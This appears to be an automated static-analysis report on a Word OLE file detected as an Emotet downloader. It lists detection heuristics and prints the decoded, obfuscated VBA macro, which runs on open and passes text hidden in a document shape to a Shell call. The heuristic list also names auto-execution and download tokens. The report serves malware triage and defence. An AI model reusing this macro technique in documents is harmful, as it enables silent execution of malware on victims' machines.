Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c3dc667db396e465…

MALICIOUS

Office (OLE)

132.2 KB Created: 2018-12-11 16:43:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: 441695a0342fb66f16546d309d32d08e SHA-1: c429a8fb4ba1fbc99ca5bbd500f36be1af967bbb SHA-256: c3dc667db396e465d77e005b1ac07c8bbf90590eeb899324151fdc5ca1636002
292 Risk Score

Heuristics 10

  • ClamAV: Doc.Downloader.Emotet-6780510-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6780510-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    .Shell(fiuOmuVi, qHVGfkUWS), wYfdZPpjf)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4847 bytes
SHA-256: 642af68338dd3b85054af97c2bf126db9d3172d404fa4ee5168d950fae71f323
Detection
ClamAV: No threats found
Obfuscation or payload: likely
142 of 173 identifiers look randomly generated (e.g. 'JonkdJdribVqCcOiakdcAsLk') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "OrRhjCEQYBWHER"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
lFhWQUo
End Sub

Attribute VB_Name = "WuXAvEX"
Function lFhWQUo()
On Error Resume Next
   hTILiiEasCazojiHiBAzR = (265717628 + Round(sVmaBFmccElDdNJ) * 279658780 - mNSlYihCtNlziEPsM + (qvDCVFazuCjAuYKlM / Tan(WWUmFYHsBiuzVK)))
wTvLksMLaoiWsSMnz = 292065055
   WdrUBmCpEHqLwVj = (226359617 + Round(jaJvmAsXGsOGzWlEplH) * 84533675 - OuzFQNFirUfwVmNSKjdzwv + (ojFkEHJkbVoSjJpWnmpPXjJ / Tan(jYmiBdNpTALWLcAbhkDb)))
UjJVNqMHfVFabAjUiiwH = 339112785
   IbbrcwiDuUzhLSrGZjLwiY = (103593892 + Round(GwGChBqaiaFEsUOlpY) * 188876587 - rUwBWjomDYFjLG + (fscWtiXDlNnNEVaIJvOcl / Tan(FfBNDXFVVsljjt)))
CjXURLnjSjRcPvoz = 198988965
   GRLBrXaiQHilaOQu = (283288209 + Round(HlHZopvjEGqfPjHuM) * 100974446 - wTiczKlTzzdNrzY + (JDhdWGLTTrlszdfBA / Tan(swdIKOCVzjatzhqSzrflm)))
IKJFZtWUUbMGFalBsSaBIis = 174499907
   RCiStuzblwjpJDNONAQr = (129642150 + Round(IpfuikVjOuKjuiGLY) * 267006074 - uGsFrvuvrWRlwJAu + (mwLOGEkoiZJfIBbcdZKQjo / Tan(opdKwIOatnRYadzoCHQNVkQj)))
qJSjpiFwzWYctojPzP = 285516615
   rToNpUfEVbhidvtEhOsZ = (233346116 + Round(nIqMFazZFSmTsFBi) * 237568522 - RhoJzEoWmQQNzKz + (jfWdOFFvWOrJCnDCimHB / Tan(dJmXjoiIrVbWMZVIGr)))
ctnkMfTwNOjLCvIC = 144366113
   TwErSZVOhwvMrfbiCHWHjEm = (179487441 + Round(foDwCJjoiQSqBfZ) * 57100964 - llpHorhNFqiKLOLdlmlRPfn + (XNOInBbzzlSBlwrw / Tan(lwTAiSBGNPsnrfGwij)))
cYaDOlKZwKrnupvdiTK = 296641512
   CFOdfDPDGmXhJwpJumwB = (305713998 + Round(EdBGEhTZrKavzLqCJL) * 298580586 - QHaSzWSNddCLljAl + (ZzhkhvMHNAiTrclHiFz / Tan(jGiPFwNHOKQKFb)))
MLcjLNLlVoulBREDbDirT = 111240274
   zSpOvZBHGDKkLLEnYn = (155630660 + Round(DaKbZnQZVolCTcwjjQXRf) * 57483490 - zHuPrPwizBuRXHOoH + (blRSHRiNUDIPFEu / Tan(NTfYZKYGoAZLbbVb)))
JDWwizdhiusZhvpWM = 301663205
   BKshzowBKbIsnBjiXBHiXKH = (103515116 + Round(VOOXiaPjCOVoZFvqN) * 153372170 - JonkdJdribVqCcOiakdcAsLk + (LpzwMsJnIGihdlOFjkFhYT / Tan(KbUFkuwQcDwRTfuS)))
LCuWkwzzPXRIGCNsinUrm = 167047239
Const qHVGfkUWS = 0
   SpULqCFMdwhDvPftzoHm = (167557558 + Round(ojpCjWzuoaARzsKanBs) * 155512407 - QzGdpHZthhKGsAkWoTiNiH + (DiQmjXBGuBmXkiY / Tan(OZBHtqLHrZDziJJFJtDzYVq)))
jaQEFdAnPYTojAMMTJ = 306855654
   zLOQbAsWkrNmriWY = (233440611 + Round(TWihcAlEqZzsRE) * 164268138 - CLluTFOlHFirtzzm + (GDIiPiNfWKTZrZJNhfLmo / Tan(NHwaXWuLtbKLLAQfmdYP)))
vvMQfVdLRmAsZpAhpLqkLRrO = 208735694
Set BYkrhO = OrRhjCEQYBWHER.Shapes(qVYIj + "tESslznR" + jPajCfCfM)
   CROTWlMjYfSIrAAUt = (52119434 + Round(trQqCpZDHAjjZiYkCawLPiD) * 174218891 - clpjAOGjvHYlbMiwhFjr + (saTQwtzwfPopLZDjUHmazdbz / Tan(aOSOhYTifjLVTBUJkPrkvPma)))
MzwRzPwURXiihzqU = 48015641
   nDTHuwzNnlpPJAUwwHEXf = (189752455 + Round(SdjVwYJdHkXWkYwYFdhdJEO) * 276182242 - luIIKACKLBdNbCpiH + (fldkawjzuwzjOPqFKiAVw / Tan(ULZWVKdbswBVjDlBTKZLG)))
LcnOWVrKimluRSL = 23292253
   jcPwqBVfMzdbmNwhwOdjJB = (61755534 + Round(tQvTwvmRorVomTwjaCnLO) * 20398826 - WDiHAiVdfTfDZGBiR + (MmusHvfQwGGOzVpB / Tan(QOnmiTOpVGPYaYUVwCQ)))
iwmcklOWRVJOYjlUib = 193209678
   ZjOmdmsPscwnAcudsT = (67697133 + Round(zJiZJzdFMIHUHYzshCzX) * 29499270 - zmjwYtwKzSHNTPwpciImCjUb + (bfBvpVnaCJvpNbkJBJpN / Tan(EiusZTORuQRIQwOuPJwUmRF)))
APCYdAaiOkWwGD = 103922595
fiuOmuVi = BYkrhO.TextFrame.TextRange + PmzssI + Htdhw + srKRpou + ujZRnLt + dJMYTTYC + FkiUN + amVcjU + mQEEbbFz + PAZDqzZ + dQTYrtn + KMJwIijC + mmUoXwFD
   YvJuaRGFmtdMGdNYPrTS = (32776378 + Round(ntazUzDkrLNcMzTRw) * 9806046 - JdbOFkcdLvLhUYGI + (UdzICBBSzdQQEzsSH / Tan(oMiUNsUrpfdsEGpCzVDCHbZ)))
GGLMGzSPNdSwmzQFnKMWoGZK = 179591521
   UFtYrQHmmXAvtjquijAVij = (330654234 + Round(NzZXAFFJiAjbjSlwpYLL) * 153120000 - cPaPiBZuKlHPKsrklhRqQtCP + (PuCjFYmGRXJwlWDj / Tan(qvURHtGEndtjfjMLBSHXN)))
MUItVhnzLOGfCH = 312604482
   fZUIabwWilBRQrqzjYO = (173221070 + Round(WftSMYkijKNvZiXuuhYh) * 201443851 - TwdlPzIZjWjtJu + (qODNnwaoWqISCprqsBT / Tan(zobIlaJiqMfZdTDT)))
TqEtIHuGjFkpfqspid = 13586502
   HRuIRXvntcWKfcNAm = (52658082 + Round(WfspklARYaHroPYKNfrPhTR) * 111390502 - FaGpNiUYsjjPbKWRGXNm + (hvGSAVvsKCObLiLtcKsnS / Tan(iovlUUwawDitXfzWNMYjhdVn)))
fLXiNVwSlMSXOAbuj = 41648165
SGftFzfPm = Array(FTHVoJ, wiijbmS, zwLzlwXK, Interaction _
 _
 _
 _
 _
 _
 _
 _
.Shell(fiuOmuVi, qHVGfkUWS), wYfdZPpjf)
   HFRToOqFALDwlwTF = (224706231 + Round(ajjsnlQBFUFBoRFoXRWPnLi) * 324377194 - SpDfRwlXqzziOR + (CmJWAwWltwZBiSEPCmpU / Tan(NWnXTdzRHKIzqMBBIzEwDKjs)))
DFlkusZzkpQVwjVZUllQCsG = 23349787
   ZHERRTRWRiFaowWvoXQEj = (125718479 + Round(DDdWtTmkFhbrPLLfECVjRKk) * 304362306 - iEquuwwGMBOowXDiuAsNH + (kcrLBOmdsSilKPv / Tan(KldkDJzrHiSBWKrjibTOCj)))
jTiIvFLMojEqHkWDbfzEXvl = 44604557
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.